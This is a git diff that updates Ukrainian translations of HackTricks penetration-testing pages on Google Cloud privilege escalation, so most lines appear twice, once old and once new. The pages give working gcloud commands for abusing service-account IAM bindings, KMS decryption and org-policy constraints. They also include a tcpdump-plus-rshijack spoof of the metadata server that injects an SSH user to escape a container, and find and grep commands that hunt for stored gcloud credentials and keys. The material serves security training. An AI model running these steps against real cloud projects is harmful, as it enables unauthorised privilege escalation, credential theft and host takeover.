тут**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) та python-скрипт для зловживання цим привілеєм [**тут**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) і [**тут**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). Для отримання додаткової інформації перегляньте [**оригінальне дослідження**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). +Ви можете знайти скрипт для автоматизації [**створення, експлуатації та очищення вразливого середовища тут**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) та python скрипт для зловживання цією привілеєю [**тут**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) і [**тут**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). Для додаткової інформації перегляньте [**оригінальне дослідження**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). ### `iam.serviceAccounts.signJwt` -Зловмисник з вказаними дозволами зможе **підписувати коректно сформовані JSON веб-токени (JWT)**. Різниця з попереднім методом полягає в тому, що **замість того, щоб змусити Google підписати блоб, що містить JWT, ми використовуємо метод signJWT, який вже очікує JWT**. Це робить його простішим у використанні, але ви можете підписувати лише JWT, а не будь-які байти. +Зловмисник із згаданими дозволами зможе **підписувати коректно сформовані JSON web tokens (JWTs)**. Відмінність від попереднього методу в тому, що **замість того, щоб змусити google підписати blob, який містить JWT, ми використовуємо метод signJWT, який вже очікує JWT**. Це спрощує використання, але дозволяє підписувати лише JWT, а не будь-які байти. -Ви можете знайти скрипт для автоматизації [**створення, експлуатації та очищення вразливого середовища тут**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) та python-скрипт для зловживання цим привілеєм [**тут**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). Для отримання додаткової інформації перегляньте [**оригінальне дослідження**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). +Ви можете знайти скрипт для автоматизації [**створення, експлуатації та очищення вразливого середовища тут**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) та python скрипт для зловживання цією привілеєю [**тут**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). Для додаткової інформації перегляньте [**оригінальне дослідження**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). ### `iam.serviceAccounts.setIamPolicy` -Зловмисник з вказаними дозволами зможе **додавати політики IAM до сервісних облікових записів**. Ви можете зловживати цим, щоб **наділити себе** дозволами, необхідними для наслідування сервісного облікового запису. У наступному прикладі ми наділяємо себе роллю `roles/iam.serviceAccountTokenCreator` над цікавим SA: +Зловмисник із зазначеними дозволами зможе **додавати IAM політики до service accounts**. Це можна зловживати, щоб **наділити себе** дозволами, необхідними для імперсонації service account. У наведеному прикладі ми надаємо собі роль `roles/iam.serviceAccountTokenCreator` над цікавим SA: + +
Додати прив'язку IAM-політики до service account ```bash gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \ --member="user:username@domain.com" \ @@ -83,45 +101,55 @@ gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.i --member="user:username@domain.com" \ --role="roles/iam.serviceAccountUser" ``` -Ви можете знайти скрипт для автоматизації [**створення, експлуатації та очищення вразливого середовища тут**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.** +
+ +Ви можете знайти скрипт для автоматизації [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.** ### `iam.serviceAccounts.actAs` -Дозвіл **iam.serviceAccounts.actAs** подібний до дозволу **iam:PassRole з AWS**. Він є необхідним для виконання завдань, таких як ініціювання екземпляра Compute Engine, оскільки надає можливість "діяти від імені" облікового запису служби, забезпечуючи безпечне управління дозволами. Без цього користувачі можуть отримати невиправданий доступ. Крім того, експлуатація **iam.serviceAccounts.actAs** включає різні методи, кожен з яких вимагає набору дозволів, на відміну від інших методів, які потребують лише одного. +Дозвіл **iam.serviceAccounts.actAs** схожий на **iam:PassRole permission from AWS**. Він необхідний для виконання певних завдань, наприклад ініціювання інстансу Compute Engine, оскільки дає змогу «actAs» Service Account та забезпечує безпечне управління правами. За відсутності цього користувачі можуть отримати надмірний доступ. Крім того, експлуатація **iam.serviceAccounts.actAs** може здійснюватися різними методами, кожен з яких вимагає набору дозволів, на відміну від інших методів, що потребують лише одного. -#### Імітація облікового запису служби +#### Service account impersonation -Імітація облікового запису служби може бути дуже корисною для **отримання нових і кращих привілеїв**. Є три способи, якими ви можете [імітувати інший обліковий запис служби](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account): +Імперсонування service account може бути дуже корисним для **отримання нових і кращих привілеїв**. Існує три способи, якими ви можете [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account): -- Аутентифікація **за допомогою приватних ключів RSA** (викладено вище) -- Авторизація **за допомогою політик Cloud IAM** (викладено тут) -- **Розгортання завдань на службах GCP** (більш застосовно до компрометації облікового запису користувача) +- Аутентифікація **using RSA private keys** (описано вище) +- Авторизація **using Cloud IAM policies** (описано тут) +- **Deploying jobs on GCP services** (більш застосовно при компрометації user account) ### `iam.serviceAccounts.getOpenIdToken` -Зловмисник з вказаними дозволами зможе згенерувати OpenID JWT. Ці токени використовуються для підтвердження особи і не обов'язково містять будь-яку неявну авторизацію щодо ресурсу. +Атакуючий з переліченими дозволами зможе згенерувати OpenID JWT. Вони використовуються для підтвердження особи і не обов’язково надають будь-яку неявну авторизацію щодо ресурсу. -Згідно з цим [**цікавим постом**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), необхідно вказати аудиторію (сервіс, до якого ви хочете використовувати токен для аутентифікації), і ви отримаєте JWT, підписаний google, що вказує на обліковий запис служби та аудиторію JWT. +Згідно з цим [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), потрібно вказати audience (сервіс, де ви хочете використати токен для аутентифікації), і ви отримаєте підписаний google JWT, в якому вказано service account та audience JWT. -Ви можете згенерувати OpenIDToken (якщо у вас є доступ) за допомогою: +Ви можете згенерувати OpenIDToken (якщо маєте доступ) за допомогою: + +
Згенерувати OpenID token для service account ```bash # First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA gcloud auth activate-service-account --key-file=/path/to/svc_account.json # Then, generate token gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com ``` -Тоді ви можете просто використовувати це для доступу до сервісу за допомогою: +
+ +Тоді ви можете просто використати його для доступу до сервісу за допомогою: + +
Використати OpenID token для автентифікації ```bash curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app ``` -Деякі сервіси, які підтримують аутентифікацію за допомогою таких токенів: +
+ +Деякі сервіси, що підтримують автентифікацію за допомогою такого типу токенів: - [Google Cloud Run](https://cloud.google.com/run/) - [Google Cloud Functions](https://cloud.google.com/functions/docs/) - [Google Identity Aware Proxy](https://cloud.google.com/iap/docs/authentication-howto) - [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (якщо використовується Google OIDC) -Ви можете знайти приклад того, як створити OpenID токен від імені облікового запису служби [**тут**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py). +Ви можете знайти приклад того, як створити OpenID-токен від імені service account [**тут**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py). ## Посилання diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md index cf118c20c..59776c81b 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md @@ -10,11 +10,13 @@ ../gcp-services/gcp-kms-enum.md {{#endref}} -Зверніть увагу, що в KMS **дозволи** не тільки **наследуються** від Організацій, Папок і Проектів, але також від **Ключових наборів**. +Зверніть увагу, що в KMS **permission** не лише **inherited** від Orgs, Folders і Projects, але й від **Keyrings**. ### `cloudkms.cryptoKeyVersions.useToDecrypt` -Ви можете використовувати цей дозвіл для **дешифрування інформації за допомогою ключа**, на який у вас є цей дозвіл. +Ви можете використовувати цей permission, щоб **decrypt information with the key** над яким у вас є цей permission. + +
Decrypt data using KMS key ```bash gcloud kms decrypt \ --location=[LOCATION] \ @@ -24,9 +26,13 @@ gcloud kms decrypt \ --ciphertext-file=[ENCRYPTED_FILE_PATH] \ --plaintext-file=[DECRYPTED_FILE_PATH] ``` +
+ ### `cloudkms.cryptoKeys.setIamPolicy` -Зловмисник з цим дозволом міг би **наділити себе правами** на використання ключа для розшифровки інформації. +Зловмисник із цим дозволом може **надати собі дозволи** для використання ключа для розшифрування інформації. + +
Надати собі роль KMS decrypter ```bash gcloud kms keys add-iam-policy-binding [KEY_NAME] \ --location [LOCATION] \ @@ -34,20 +40,24 @@ gcloud kms keys add-iam-policy-binding [KEY_NAME] \ --member [MEMBER] \ --role roles/cloudkms.cryptoKeyDecrypter ``` +
+ ### `cloudkms.cryptoKeyVersions.useToDecryptViaDelegation` -Ось концептуальний розбір того, як працює це делегування: +Ось концептуальне пояснення того, як працює це делегування: -1. **Сервісний обліковий запис A** має прямий доступ до розшифровки за допомогою конкретного ключа в KMS. -2. **Сервісний обліковий запис B** отримує дозвіл `useToDecryptViaDelegation`. Це дозволяє йому запитувати KMS на розшифровку даних від імені Сервісного облікового запису A. +1. **Service Account A** має прямий доступ для дешифрування з використанням певного ключа в KMS. +2. **Service Account B** отримує дозвіл `useToDecryptViaDelegation`. Це дозволяє йому запитувати у KMS дешифрування даних від імені Service Account A. -Використання цього **дозволу є неявним у способі, яким сервіс KMS перевіряє дозволи** під час подання запиту на розшифровку. +Використання цього дозволу є неявним у тому, як сервіс KMS перевіряє права під час виконання запиту на дешифрування. -Коли ви робите стандартний запит на розшифровку за допомогою Google Cloud KMS API (на Python або іншій мові), сервіс **перевіряє, чи має запитуючий сервісний обліковий запис необхідні дозволи**. Якщо запит подається сервісним обліковим записом з **дозволом `useToDecryptViaDelegation`**, KMS перевіряє, чи **дозволено цьому обліковому запису запитувати розшифровку від імені суб'єкта, який володіє ключем**. +Коли ви робите стандартний запит на дешифрування через Google Cloud KMS API (у Python або іншій мові), сервіс перевіряє, чи має запитуваний обліковий запис сервісу необхідні дозволи. Якщо запит здійснюється обліковим записом сервісу з дозволом `useToDecryptViaDelegation`, KMS перевіряє, чи дозволено цьому обліковому запису запитувати дешифрування від імені власника ключа. -#### Налаштування для делегування +#### Налаштування делегування -1. **Визначте користувацьку роль**: Створіть файл YAML (наприклад, `custom_role.yaml`), який визначає користувацьку роль. Цей файл повинен містити дозвіл `cloudkms.cryptoKeyVersions.useToDecryptViaDelegation`. Ось приклад того, як може виглядати цей файл: +1. **Створити кастомну роль**: Створіть YAML-файл (наприклад, `custom_role.yaml`), який визначає кастомну роль. У цьому файлі має бути включено дозвіл `cloudkms.cryptoKeyVersions.useToDecryptViaDelegation`. Ось приклад того, як може виглядати цей файл: + +
Визначення YAML кастомної ролі ```yaml title: "KMS Decryption via Delegation" description: "Allows decryption via delegation" @@ -55,13 +65,21 @@ stage: "GA" includedPermissions: - "cloudkms.cryptoKeyVersions.useToDecryptViaDelegation" ``` -2. **Створіть користувацьку роль за допомогою gcloud CLI**: Використовуйте наступну команду, щоб створити користувацьку роль у вашому проекті Google Cloud: +
+ +2. **Створіть користувацьку роль за допомогою gcloud CLI**: Використайте наступну команду, щоб створити користувацьку роль у вашому проекті Google Cloud: + +
Створити користувацьку роль KMS ```bash gcloud iam roles create kms_decryptor_via_delegation --project [YOUR_PROJECT_ID] --file custom_role.yaml ``` Замініть `[YOUR_PROJECT_ID]` на ідентифікатор вашого проекту Google Cloud. -3. **Надайте користувацьку роль обліковому запису служби**: Призначте вашу користувацьку роль обліковому запису служби, який буде використовувати цей дозвіл. Використовуйте наступну команду: +
+ +3. **Надати користувацьку роль сервісному акаунту**: Призначте вашу користувацьку роль сервісному акаунту, який використовуватиме цей дозвіл. Використайте наступну команду: + +
Надати користувацьку роль сервісному акаунту ```bash # Give this permission to the service account to impersonate gcloud projects add-iam-policy-binding [PROJECT_ID] \ @@ -73,6 +91,8 @@ gcloud projects add-iam-policy-binding [YOUR_PROJECT_ID] \ --member="serviceAccount:[SERVICE_ACCOUNT_EMAIL]" \ --role="projects/[YOUR_PROJECT_ID]/roles/kms_decryptor_via_delegation" ``` -Замініть `[YOUR_PROJECT_ID]` та `[SERVICE_ACCOUNT_EMAIL]` на ваш ідентифікатор проєкту та електронну пошту облікового запису служби відповідно. +Замініть [YOUR_PROJECT_ID] та [SERVICE_ACCOUNT_EMAIL] на ідентифікатор вашого проєкту та електронну адресу сервісного акаунта відповідно. + +
{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md index 869f6a4c7..d88fe40aa 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md @@ -1,40 +1,40 @@ -# GCP - локальне підвищення привілеїв ssh півотування +# GCP - local privilege escalation ssh pivoting {{#include ../../../banners/hacktricks-training.md}} -в цьому сценарії ми будемо припускати, що ви **зламали обліковий запис без привілеїв** всередині ВМ у проекті Compute Engine. +У цьому сценарії припустимо, що ви **скомпрометували обліковий запис без привілеїв** всередині VM у проєкті Compute Engine. -Дивовижно, що дозволи GPC комп'ютерного двигуна, який ви зламали, можуть допомогти вам **підвищити привілеї локально всередині машини**. Навіть якщо це не завжди буде дуже корисно в хмарному середовищі, добре знати, що це можливо. +Дивовижно, що дозволи GCP для Compute Engine, який ви скомпрометували, можуть допомогти вам **ескалувати привілеї локально всередині машини**. Навіть якщо це не завжди буде дуже корисно в хмарному середовищі, добре знати, що це можливо. -## Прочитайте скрипти +## Read the scripts -**Обчислювальні екземпляри** ймовірно призначені для **виконання деяких скриптів** для виконання дій з їхніми обліковими записами служби. +**Compute Instances** ймовірно призначені для **виконання скриптів**, які виконують дії від імені їх service accounts. -Оскільки IAM є дуже детальним, обліковий запис може мати **права на читання/запис** над ресурсом, але **немає прав на перегляд**. +Оскільки IAM дозволяє тонке налаштування, обліковий запис може мати **read/write** привілеї над ресурсом, але **не мати привілеїв list**. -Чудовим гіпотетичним прикладом цього є обчислювальний екземпляр, який має дозвіл на читання/запис резервних копій у сховище з назвою `instance82736-long-term-xyz-archive-0332893`. +Добрим гіпотетичним прикладом є Compute Instance, який має дозвіл читати/записувати резервні копії в storage bucket з назвою `instance82736-long-term-xyz-archive-0332893`. -Виконання `gsutil ls` з командного рядка не повертає нічого, оскільки обліковий запис служби не має дозволу IAM `storage.buckets.list`. Однак, якщо ви виконаєте `gsutil ls gs://instance82736-long-term-xyz-archive-0332893`, ви можете знайти повну резервну копію файлової системи, що надає вам доступ до даних у відкритому тексті, яких не вистачає вашому локальному обліковому запису Linux. +Запуск `gsutil ls` з командного рядка нічого не поверне, оскільки service account не має IAM-дозволу `storage.buckets.list`. Однак якщо виконати `gsutil ls gs://instance82736-long-term-xyz-archive-0332893`, ви можете знайти повну резервну копію файлової системи, що дає вам доступ до даних у відкритому вигляді, до яких ваш локальний Linux-обліковий запис не має доступу. -Ви можете знайти цю назву кошика всередині скрипта (в bash, Python, Ruby...). +Ви можете знайти цю назву bucket всередині скрипта (bash, Python, Ruby...). -## Користувацькі метадані +## Custom Metadata -Адміністратори можуть додавати [користувацькі метадані](https://cloud.google.com/compute/docs/storing-retrieving-metadata#custom) на **екземпляр** та **рівень проекту**. Це просто спосіб передати **произвольні пари ключ/значення в екземпляр**, і зазвичай використовується для змінних середовища та скриптів запуску/вимкнення. +Адміністратори можуть додавати [custom metadata](https://cloud.google.com/compute/docs/storing-retrieving-metadata#custom) на рівні **instance** і **project level**. Це простий спосіб передати **довільні пари ключ/значення в інстанс**, і зазвичай використовується для змінних середовища та startup/shutdown скриптів. -Більше того, можливо додати **userdata**, що є скриптом, який буде **виконуватись щоразу**, коли машина запускається або перезавантажується, і до якого можна **доступитися з кінцевої точки метаданих також.** +Крім того, можливо додати **userdata** — скрипт, який буде **виконуватися щоразу**, коли машина запускається або перезапускається, і який також можна **отримати через metadata endpoint.** -Для отримання додаткової інформації перегляньте: +For more info check: {{#ref}} https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html {{#endref}} -## **Зловживання дозволами IAM** +## **Abusing IAM permissions** -Більшість з наступних запропонованих дозволів **надаються за замовчуванням обліковому запису Compute SA,** єдина проблема в тому, що **за замовчуванням обмеження доступу заважає SA їх використовувати**. Однак, якщо **`cloud-platform`** **область** увімкнена або просто **`compute`** **область** увімкнена, ви зможете **зловживати ними**. +Більшість наведених нижче дозволів **надаються default Compute SA**, проблема лише в тому, що **default access scope перешкоджає SA їх використовувати**. Однак, якщо ввімкнено **`cloud-platform`** **scope** або лише **`compute`** **scope**, ви зможете ними **зловживати**. -Перевірте наступні дозволи: +Check the following permissions: - [**compute.instances.osLogin**](gcp-compute-privesc/index.html#compute.instances.oslogin) - [**compute.instances.osAdminLogin**](gcp-compute-privesc/index.html#compute.instances.osadminlogin) @@ -44,18 +44,24 @@ https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/ ## Пошук ключів у файловій системі -Перевірте, чи інші користувачі увійшли в gcloud всередині коробки і залишили свої облікові дані у файловій системі: +Перевірте, чи інші користувачі виконували gcloud на машині та не залишили свої облікові дані у файловій системі: + +
Пошук облікових даних gcloud у файловій системі ``` sudo find / -name "gcloud" ``` -Це найцікавіші файли: +
+ +Найбільш цікаві файли: - `~/.config/gcloud/credentials.db` - `~/.config/gcloud/legacy_credentials/[ACCOUNT]/adc.json` - `~/.config/gcloud/legacy_credentials/[ACCOUNT]/.boto` - `~/.credentials.json` -### Більше регулярних виразів для API ключів +### Більше регулярних виразів для API-ключів + +
Grep patterns for GCP credentials and keys ```bash TARGET_DIR="/path/to/whatever" @@ -87,6 +93,8 @@ grep -Pir "storage.googleapis.com.*?Goog-Signature=[a-f0-9]+" \ grep -Pzr '(?s)
' \ "$TARGET_DIR" ``` +
+ ## Посилання - [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/) diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-docker-escape.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-docker-escape.md index fb9612de0..33fc9375e 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-docker-escape.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-docker-escape.md @@ -2,45 +2,60 @@ {{#include ../../../banners/hacktricks-training.md}} -## Initial State +## Початковий стан -У обох звітах, де зазначена ця техніка, зловмисники змогли отримати доступ до **root** всередині **Docker** контейнера, керованого GCP, з доступом до хост-мережі (та можливостями **`CAP_NET_ADMIN`** та **`CAP_NET_RAW`**). +У двох розповідях, де описується ця техніка, атакуючим вдалося отримати **root** доступ всередині **Docker** контейнера, керованого GCP, з доступом до мережі хоста (та з можливостями **`CAP_NET_ADMIN`** і **`CAP_NET_RAW`**). -## Attack Explanation +## Пояснення атаки -На екземплярі Google Compute Engine регулярна перевірка мережевого трафіку виявляє численні **plain HTTP запити** до **метаданих екземпляра** за адресою `169.254.169.254`. [**Google Guest Agent**](https://github.com/GoogleCloudPlatform/guest-agent), відкритий сервіс, часто робить такі запити. +На екземплярі Google Compute Engine регулярний моніторинг мережевого трафіку виявляє численні **plain HTTP requests** до **metadata instance** за адресою `169.254.169.254`. [**Google Guest Agent**](https://github.com/GoogleCloudPlatform/guest-agent), open-source сервіс, часто робить такі запити. -Цей агент призначений для **моніторингу змін у метаданих**. Зокрема, метадані містять **поле для публічних ключів SSH**. Коли новий публічний SSH ключ додається до метаданих, агент автоматично **авторизує** його у файлі `.authorized_key`. Він також може **створити нового користувача** та додати його до **sudoers**, якщо це необхідно. +Цей агент призначений для **моніторингу змін у metadata**. Зокрема, metadata містить **поле для SSH public keys**. Коли до metadata додається новий публічний SSH ключ, агент автоматично **авторизує** його в файлі `.authorized_key`. Він також може **створити нового користувача** і додати його до **sudoers**, якщо це потрібно. -Агент моніторить зміни, надсилаючи запит на **отримання всіх значень метаданих рекурсивно** (`GET /computeMetadata/v1/?recursive=true`). Цей запит призначений для того, щоб змусити сервер метаданих надіслати відповідь лише у разі зміни метаданих з моменту останнього отримання, що визначається Etag (`wait_for_change=true&last_etag=`). Крім того, включено параметр **тайм-ауту** (`timeout_sec=`). Якщо зміни не відбуваються протягом вказаного тайм-ауту, сервер відповідає **незмінними значеннями**. +Агент відстежує зміни, відправляючи запит на **отримання всіх значень metadata рекурсивно** (`GET /computeMetadata/v1/?recursive=true`). Цей запит призначений змусити metadata server надіслати відповідь лише якщо були якісь зміни в metadata з моменту останнього опитування, ідентифіковані Etag (`wait_for_change=true&last_etag=`). Додатково включений параметр **timeout** (`timeout_sec=`). Якщо протягом вказаного таймауту змін не відбулося, сервер повертає **незмінені значення**. -Цей процес дозволяє **IMDS** (Служба метаданих екземпляра) відповісти через **60 секунд**, якщо зміни конфігурації не відбулися, створюючи потенційне **вікно для впровадження фальшивої конфігураційної відповіді** до гостьового агента. +Цей процес дозволяє **IMDS** (Instance Metadata Service) відповісти через **60 секунд**, якщо конфігурація не змінилася, створюючи потенційне **вікно для ін’єкції підробленої конфігураційної відповіді** до guest agent. -Зловмисник може скористатися цим, здійснивши **атаку "людина посередині" (MitM)**, підробляючи відповідь від сервера IMDS та **вставляючи новий публічний ключ**. Це може дозволити несанкціонований доступ SSH до хоста. +Атакуючий може скористатися цим, здійснивши **Man-in-the-Middle (MitM) attack**, підробити відповідь від IMDS і **вставити новий публічний ключ**. Це може дозволити несанкціонований SSH доступ до хоста. -### Escape Technique +### Техніка втечі -Хоча ARP підробка є неефективною в мережах Google Compute Engine, [**модифікована версія rshijack**](https://github.com/ezequielpereira/rshijack), розроблена [**Ezequiel**](https://www.ezequiel.tech/2020/08/dropping-shell-in.html), може бути використана для ін'єкції пакетів у комунікації для вставки SSH користувача. +Хоча ARP spoofing неефективний у мережах Google Compute Engine, [**modified version of rshijack**](https://github.com/ezequielpereira/rshijack), розроблена [**Ezequiel**](https://www.ezequiel.tech/2020/08/dropping-shell-in.html), може використовуватися для ін’єкції пакетів у комунікацію з метою ін’єкції SSH-користувача. -Ця версія rshijack дозволяє вводити номери ACK та SEQ як аргументи командного рядка, що полегшує підробку відповіді перед реальною відповіддю сервера метаданих. Крім того, використовується [**невеликий Shell скрипт**](https://gist.github.com/ezequielpereira/914c2aae463409e785071213b059f96c#file-fakedata-sh), щоб повернути **спеціально підготовлений корисний вантаж**. Цей вантаж спонукає Google Guest Agent **створити користувача `wouter`** з вказаним публічним ключем у файлі `.authorized_keys`. +Ця версія rshijack дозволяє передавати ACK і SEQ номери як аргументи командного рядка, що полегшує підробку відповіді перед реальною відповіддю Metadata server. Додатково використовується [**невеликий Shell script**](https://gist.github.com/ezequielpereira/914c2aae463409e785071213b059f96c#file-fakedata-sh), щоб повернути **спеціально створений payload**. Цей payload змушує Google Guest Agent **створити користувача `wouter`** з вказаним публічним ключем у файлі `.authorized_keys`. -Скрипт використовує той же ETag, щоб запобігти негайному сповіщенню сервера метаданих Google Guest Agent про різні значення метаданих, таким чином затримуючи відповідь. +Скрипт використовує той самий ETag, щоб запобігти негайному сповіщенню Google Guest Agent про відмінні значення metadata з боку Metadata server, таким чином затримуючи відповідь. -Для виконання підробки необхідні наступні кроки: +Щоб виконати підробку, необхідні наступні кроки: -1. **Моніторинг запитів до сервера метаданих** за допомогою **tcpdump**: +1. **Моніторинг запитів до Metadata server** за допомогою **tcpdump**: + +
+Monitor metadata server requests with tcpdump ```bash tcpdump -S -i eth0 'host 169.254.169.254 and port 80' & ``` -Шукайте рядок, подібний до: +
+ +Знайдіть рядок, схожий на: + +
+Приклад рядка виводу tcpdump ```
+ +2. Надішліть підроблені metadata з правильним ETAG до rshijack: + +
+Надішліть підроблені metadata і підключіться по SSH до хоста ```bash fakeData.sh | rshijack -q eth0 169.254.169.254:80 : ; ssh -i id_rsa -o StrictHostKeyChecking=no wouter@localhost ``` -Цей крок авторизує публічний ключ, що дозволяє з'єднання SSH з відповідним приватним ключем. +
+ +Цей крок авторизує публічний ключ, що дає змогу підключитися по SSH з використанням відповідного приватного ключа. ## Посилання diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md index fcd677673..d91f96213 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md @@ -6,7 +6,10 @@ ### `orgpolicy.policy.set` -attacker, який використовує **orgpolicy.policy.set**, може маніпулювати організаційними політиками, що дозволяє йому знімати певні обмеження, які перешкоджають виконанню конкретних операцій. Наприклад, обмеження **appengine.disableCodeDownload** зазвичай блокує завантаження вихідного коду App Engine. Однак, використовуючи **orgpolicy.policy.set**, attacker може деактивувати це обмеження й отримати доступ до завантаження вихідного коду, навіть якщо він спочатку був захищений. +Атакуючий, використовуючи **orgpolicy.policy.set**, може змінювати організаційні політики, що дозволяє йому знімати певні обмеження, які перешкоджають виконанню конкретних операцій. Наприклад, обмеження **appengine.disableCodeDownload** зазвичай блокує завантаження вихідного коду App Engine. Однак за допомогою **orgpolicy.policy.set** атакуючий може деактивувати це обмеження і тим самим отримати можливість завантажити вихідний код, навіть якщо він спочатку був захищений. + +
+Отримати інформацію про org policy і вимкнути її примусове застосування ```bash # Get info gcloud resource-manager org-policies describe [--folder | --organization | --project ] @@ -14,13 +17,18 @@ gcloud resource-manager org-policies describe [--folder | --or # Disable gcloud resource-manager org-policies disable-enforce [--folder | --organization | --project ] ``` -Скрипт на Python для цього методу можна знайти [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/orgpolicy.policy.set.py). +
+ +Python-скрипт для цього методу можна знайти [тут](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/orgpolicy.policy.set.py). ### `orgpolicy.policy.set`, `iam.serviceAccounts.actAs` -Зазвичай неможливо прив'язати service account із іншого проекту до ресурсу, оскільки діє політичне обмеження під назвою **`iam.disableCrossProjectServiceAccountUsage`**, яке запобігає цій дії. +Зазвичай неможливо прикріпити service account із іншого проекту до ресурсу, оскільки застосовується обмеження політики під назвою **`iam.disableCrossProjectServiceAccountUsage`**, яке перешкоджає цій дії. Можна перевірити, чи застосовується це обмеження, виконавши наступну команду: + +
+Перевірити обмеження на використання service account із інших проектів ```bash gcloud resource-manager org-policies describe \ constraints/iam.disableCrossProjectServiceAccountUsage \ @@ -31,14 +39,21 @@ booleanPolicy: enforced: true constraint: constraints/iam.disableCrossProjectServiceAccountUsage ``` -Це перешкоджає зловмисникові зловживати дозволом **`iam.serviceAccounts.actAs`**, щоб видавати себе за service account з іншого проекту без потрібних додаткових інфраструктурних дозволів — наприклад, щоб запустити новий VM — що могло б призвести до підвищення привілеїв. +
-Однак зловмисник із дозволами **`orgpolicy.policy.set`** може обійти це обмеження, відключивши constraint **`iam.disableServiceAccountProjectWideAccess``. Це дозволяє йому прив'язати service account з іншого проекту до ресурсу в його власному проекті, фактично підвищивши свої привілеї. +Це перешкоджає нападникові зловживати дозволом **`iam.serviceAccounts.actAs`** для видавання себе за service account з іншого проекту без необхідних додаткових інфраструктурних дозволів, наприклад для запуску нового VM, що могло б призвести до підвищення привілеїв. + +Однак нападник з дозволом **`orgpolicy.policy.set`** може обійти це обмеження, вимкнувши обмеження **`iam.disableServiceAccountProjectWideAccess`**. Це дозволяє нападникові приєднати service account з іншого проекту до ресурсу у своєму проекті, фактично підвищуючи свої привілеї. + +
+Вимкнення обмеження для використання service account між проектами ```bash gcloud resource-manager org-policies disable-enforce \ iam.disableCrossProjectServiceAccountUsage \ --project= ``` +
